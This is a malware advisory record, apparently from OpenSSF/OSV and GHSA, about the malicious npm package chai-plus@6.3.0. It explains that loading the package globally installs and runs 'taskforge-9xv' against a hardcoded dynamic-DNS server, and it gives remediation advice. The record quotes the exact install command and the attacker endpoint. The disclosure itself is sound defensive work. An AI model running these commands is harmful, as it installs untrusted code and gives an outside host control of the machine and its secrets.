OpenSSF/OSV advisory MAL-2026-14533 confirms this npm version as malicious. On require('chai-plus'), a top-level IIFE in lib/index.js unconditionally invokes Bootstrap.execute(), which spawns `npm install -g taskforge-9xv@1.3.0` and then executes `taskforge-9xv` with hardcoded arguments `--origin-server http://coolblast.zapto.org:8888/api/x-handler` and a hardcoded auth token. The destination is a dynamic-DNS host (zapto.org) over plain HTTP, unrelated to the package's advertised purpose as...
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in chai-plus (npm)
Details
On require('chai-plus'), a top-level IIFE in lib/index.js unconditionally invokes Bootstrap.execute(), which spawns `npm install -g taskforge-9xv@1.3.0` and then executes `taskforge-9xv` with hardcoded arguments `--origin-server http://coolblast.zapto.org:8888/api/x-handler` and a hardcoded auth token. The destination is a dynamic-DNS host (zapto.org) over plain HTTP, unrelated to the package's advertised purpose as a zero-dependency assertion library. Comments in lib/bootstrap.js state the operation is 'user-invoked' and 'NOT automatic', contradicting the actual auto-execution at module load; errors from the dropper are silently swallowed. The package name resembles the popular `chai` assertion library, broadening the pool of developers likely to install it.
## Source: ghsa-malware (f1212f91b37547d0955da07335f4bb1fed958261d3f4136c19d32976fda4e1fd) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Decision reason
OpenSSF Malicious Packages via OSV confirms chai-plus@6.3.0 as malicious (MAL-2026-14533): Malicious code in chai-plus (npm)